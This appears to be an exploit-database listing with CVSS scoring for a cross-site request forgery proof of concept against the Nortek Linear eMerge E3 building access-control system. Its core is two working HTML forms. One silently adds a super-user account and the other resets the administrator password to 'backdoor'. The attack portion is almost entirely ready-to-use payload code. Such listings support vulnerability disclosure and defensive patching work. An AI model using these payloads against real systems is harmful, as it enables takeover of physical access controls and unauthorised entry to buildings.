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LiquidWormEDB-ID:47620

HistoryNov 12, 2019 - 12:00 a.m.

eMerge E3 1.00-06 - Cross-Site Request Forgery

2019-11-1200:00:00

LiquidWorm

www.exploit-db.com

160

6.8 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

8.9 High

AI Score

Confidence

High

0.005 Low

EPSS

Percentile

77.5%

JSON

# Exploit Title: eMerge E3 1.00-06 - Cross-Site Request Forgery 
# Google Dork: NA
# Date: 2018-11-11
# Exploit Author: LiquidWorm
# Vendor Homepage: http://linear-solutions.com/nsc_family/e3-series/
# Software Link: http://linear-solutions.com/nsc_family/e3-series/
# Version: 1.00-06
# Tested on: NA
# CVE : CVE-2019-7262
# Advisory: https://applied-risk.com/resources/ar-2019-009
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
# Advisory: https://applied-risk.com/resources/ar-2019-005

# PoC
# Nortek Linear eMerge E3 Access Control Cross-Site Request Forgery

<!-- CSRF Add Super User -->
<html>
  <body>
   <form action="http://192.168.1.2/?c=webuser&m=insert" method="POST">
     <input type="hidden" name="No" value="" />
     <input type="hidden" name="ID" value="hax0r" />
     <input type="hidden" name="Password" value="hax1n" />
     <input type="hidden" name="Name" value="CSRF" />
     <input type="hidden" name="UserRole" value="1" />
     <input type="hidden" name="Language" value="en" />
     <input type="hidden" name="DefaultPage" value="sitemap" />
     <input type="hidden" name="DefaultFloorNo" value="1" />
     <input type="hidden" name="DefaultFloorState" value="1" />
     <input type="hidden" name="AutoDisconnectTime" value="24" />
     <input type="submit" value="Add Super User" />
   </form>
  </body>
</html>

<!-- CSRF Change Admin Password -->
<html>
  <body>
   <form action="http://192.168.1.2/?c=webuser&m=update" method="POST">
     <input type="hidden" name="No" value="1" />
     <input type="hidden" name="ID" value="admin" />
     <input type="hidden" name="Password" value="backdoor" />
     <input type="hidden" name="Name" value="admin" />
     <input type="hidden" name="UserRole" value="1" />
     <input type="hidden" name="Language" value="en" />
     <input type="hidden" name="DefaultPage" value="sitemap" />
     <input type="hidden" name="DefaultFloorNo" value="1" />
     <input type="hidden" name="DefaultFloorState" value="1" />
     <input type="hidden" name="AutoDisconnectTime" value="24" />
     <input type="submit" value="Change Admin Password" />
   </form>
  </body>
</html>

6.8 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

8.9 High

AI Score

Confidence

High

0.005 Low

EPSS

Percentile

77.5%

JSON

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